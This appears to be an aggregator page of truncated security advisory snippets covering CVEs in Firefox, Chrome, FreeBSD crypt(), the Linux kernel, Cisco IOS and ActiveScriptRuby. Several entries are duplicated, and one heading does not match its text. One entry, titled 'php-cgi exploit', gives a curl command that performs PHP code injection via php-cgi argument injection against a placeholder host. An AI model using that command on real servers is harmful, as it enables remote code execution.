Cross site scripting

The Content Security Policy CSP implementation in Mozilla Firefox 4.x through 12.0, Firefox ESR 10.x before 10.0.5, Thunderbird 5.0 through 12.0, Thunderbird ESR 10.x before 10.0.5, and SeaMonkey before 2.10 does not block inline event handlers, which makes it easier for remote attackers to condu...

FreeBSD crypt() implementation vulnerability

8-bit characters are ignored during DES hash calculation...

FreeBSD -- Incorrect crypt() hashing

Problem description: There is a programming error in the DES implementation used in crypt when handling input which contains characters that cannot be represented with 7-bit ASCII. When the input contains characters with only the most significant bit set 0x80, that character and all characters...

CVE-2011-3109

Google Chrome before 19.0.1084.52 on Linux does not properly perform a cast of an unspecified variable, which allows remote attackers to cause a denial of service or possibly have unknown other impact by leveraging an error in the GTK implementation of the UI...

CVE-2011-3109

Google Chrome before 19.0.1084.52 on Linux does not properly perform a cast of an unspecified variable, which allows remote attackers to cause a denial of service or possibly have unknown other impact by leveraging an error in the GTK implementation of the UI...

CVE-2011-3105: Undefined Security Weakness

Use-after-free vulnerability in the Cascading Style Sheets CSS implementation in Google Chrome before 19.0.1084.52 allows remote attackers to cause a denial of service or possibly have unspecified other impact via vectors related to the :first-letter pseudo-element...

PT-2012-1668

Name of the Vulnerable Software and Affected Versions Google Chrome versions prior to 19.0.1084.52 on Linux Description The issue is related to an improper cast of an unspecified variable, which can be exploited by remote attackers to cause a denial of service or possibly have other unknown...

CVE-2011-3109: Undefined Security Weakness

Google Chrome before 19.0.1084.52 on Linux does not properly perform a cast of an unspecified variable, which allows remote attackers to cause a denial of service or possibly have unknown other impact by leveraging an error in the GTK implementation of the UI...

SuSE 10 Security Update : Linux kernel (ZYPP Patch Number 2393)

This kernel update fixes the following security problems : - A bug within the UDF filesystem that caused machine hangs when truncating files on the filesystem was fixed. 186226. CVE-2006-4145 - A potential crash when receiving IPX packets was fixed. This problem is thought not to be exploitable...

CVE-2011-4131

The NFSv4 implementation in the Linux kernel before 3.2.2 does not properly handle bitmap sizes in GETACL replies, which allows remote NFS servers to cause a denial of service OOPS by sending an excessive number of bitmap words...

CVE-2011-3096: Undefined Security Weakness

Use-after-free vulnerability in Google Chrome before 19.0.1084.46 on Linux allows remote attackers to cause a denial of service or possibly have unspecified other impact by leveraging an error in the GTK implementation of the omnibox...

CVE-2011-3092

CVE-2011-3092 : The Google V8 regex implementation (as used by Google Chrome prior to 19.0.1084.46) contains an invalid write in the regex engine, enabling a remote attacker to cause a denial of service. The description notes possible unspecified additional impact; no exploit vectors are detailed...

CVE-2011-3092: Improper Input Validation

The regex implementation in Google V8, as used in Google Chrome before 19.0.1084.46, allows remote attackers to cause a denial of service invalid write operation or possibly have unspecified other impact via unknown vectors...

php-cgi exploit EXP-vulnerability warning-the black bar safety net

1, local contains direct code execution: curl-H "USER-AGENT: ? system'id';die;?& gt;" http://target.com/test.php?-dautoprependfile%3d/proc/self/environ+-n 2, The remote contains the implementation code: curl...

CVE-2011-4016

The PPP implementation in Cisco IOS 12.2 and 15.0 through 15.2, when Point-to-Point Termination and Aggregation PTA and L2TP are used, allows remote attackers to cause a denial of service device crash via crafted network traffic, aka Bug ID CSCtf71673...

Code injection

The PPP implementation in Cisco IOS 12.2 and 15.0 through 15.2, when Point-to-Point Termination and Aggregation PTA and L2TP are used, allows remote attackers to cause a denial of service device crash via crafted network traffic, aka Bug ID CSCtf71673...

SUSE-SU-2015:0652-1 Security update for Kernel

The SUSE Linux Enterprise 11 SP1 Teradata kernel was updated to fix bugs and security issues. Following security issues were fixed: CVE-2011-1083: Limit the path length users can build using epoll to avoid local attackers consuming lots of kernel CPU time. CVE-2011-4086: Fixed a oops in jbd/jbd2...

Opera Browser Multiple Vulnerabilities-02 (Jul 2011) - Mac OS X

Opera browser is prone to multiple vulnerabilities. SPDX-FileCopyrightText: 2012 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

Important: Red Hat Security Advisory: kernel security, bug fix, and enhancement update

Updated kernel packages that fix one security issue, various bugs, and add one enhancement are now available for Red Hat Enterprise Linux 5. The Red Hat Security Response Team has rated this update as having important security impact. A Common Vulnerability Scoring System CVSS base score, which...

ActiveScriptRuby 'GRScript18.dll' ActiveX控件DLL装载任意代码执行漏洞

Bugtraq ID: 53011 CVE ID：CVE-2012-1241 ActiveScriptRuby用于把Ruby实现到Windows环境中。 ActiveScriptRuby存在一个安全漏洞，允许恶意用户执行任意代码。 GRScript18.dll存在一个错误，可被利用执行任意Ruby命令，构建恶意WEB页，诱使用户解析可触发此漏洞。 0 ActiveScriptRuby 1.8.7.34 厂商解决方案 用户可联系厂商升级到最新版本： http://www.artonx.org/data/asr/ 或通过执行如下命令注销COM服务： regsvr32 /u...